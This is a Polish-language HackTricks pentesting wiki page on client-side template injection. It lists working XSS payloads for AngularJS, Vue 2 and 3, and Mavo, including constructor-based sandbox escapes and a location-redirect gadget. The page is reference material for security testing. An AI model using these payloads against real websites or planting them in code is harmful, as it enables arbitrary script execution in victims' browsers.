mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
4.5 KiB
Markdown
80 lines
4.5 KiB
Markdown
# Client Side Template Injection (CSTI)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Podsumowanie
|
|
|
|
Jest to jak [**Server Side Template Injection**](ssti-server-side-template-injection/index.html), ale w **kliencie**. **SSTI** może pozwolić na **wykonanie kodu** na zdalnym serwerze, **CSTI** może pozwolić na **wykonanie dowolnego kodu JavaScript** w przeglądarce ofiary.
|
|
|
|
**Testowanie** tej podatności jest bardzo **podobne** do przypadku **SSTI**, interpreter oczekuje **szablonu** i go wykona. Na przykład, przy ładunku takim jak `{{ 7-7 }}`, jeśli aplikacja jest **podatna**, zobaczysz `0`, a jeśli nie, zobaczysz oryginalny: `{{ 7-7 }}`
|
|
|
|
## AngularJS
|
|
|
|
AngularJS to powszechnie używany framework JavaScript, który interaguje z HTML za pomocą atrybutów znanych jako dyrektywy, z których jedną jest **`ng-app`**. Ta dyrektywa pozwala AngularJS na przetwarzanie treści HTML, umożliwiając wykonanie wyrażeń JavaScript wewnątrz podwójnych klamr.
|
|
|
|
W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawiane do ciała HTML oznaczonego `ng-app`, możliwe jest wykonanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS w danych wejściowych. Poniżej znajdują się przykłady ilustrujące, jak można wykonać kod JavaScript:
|
|
```javascript
|
|
{{$on.constructor('alert(1)')()}}
|
|
{{constructor.constructor('alert(1)')()}}
|
|
<input ng-focus=$event.view.alert('XSS')>
|
|
|
|
<!-- Google Research - AngularJS -->
|
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
|
```
|
|
Możesz znaleźć bardzo **podstawowy przykład online** tej podatności w **AngularJS** pod adresem [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) oraz w [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
|
|
|
> [!CAUTION] > [**Angular 1.6 usunął piaskownicę**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), więc od tej wersji ładunek taki jak `{{constructor.constructor('alert(1)')()}}` lub `<input ng-focus=$event.view.alert('XSS')>` powinien działać.
|
|
|
|
## VueJS
|
|
|
|
Możesz znaleźć **podatną implementację Vue** pod adresem [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
|
Działający ładunek: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
|
|
|
A **kod źródłowy** podatnego przykładu tutaj: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
|
```html
|
|
<!-- Google Research - Vue.js-->
|
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
|
```
|
|
Bardzo dobry post na temat CSTI w VUE można znaleźć w [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V3**
|
|
```
|
|
{{_openBlock.constructor('alert(1)')()}}
|
|
```
|
|
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V2**
|
|
```
|
|
{{constructor.constructor('alert(1)')()}}
|
|
```
|
|
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
|
|
|
|
**Sprawdź więcej ładunków VUE w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
|
|
|
## Mavo
|
|
|
|
Payload:
|
|
```
|
|
[7*7]
|
|
[(1,alert)(1)]
|
|
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
|
[self.alert(1)]
|
|
javascript:alert(1)%252f%252f..%252fcss-images
|
|
[Omglol mod 1 mod self.alert (1) andlol]
|
|
[''=''or self.alert(lol)]
|
|
<a data-mv-if='1 or self.alert(1)'>test</a>
|
|
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
|
<a href=[javascript&':alert(1)']>test</a>
|
|
[self.alert(1)mod1]
|
|
```
|
|
**Więcej ładunków w** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
|
|
|
## **Lista wykrywania brute-force**
|
|
|
|
|
|
{{#ref}}
|
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
|
{{#endref}}
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|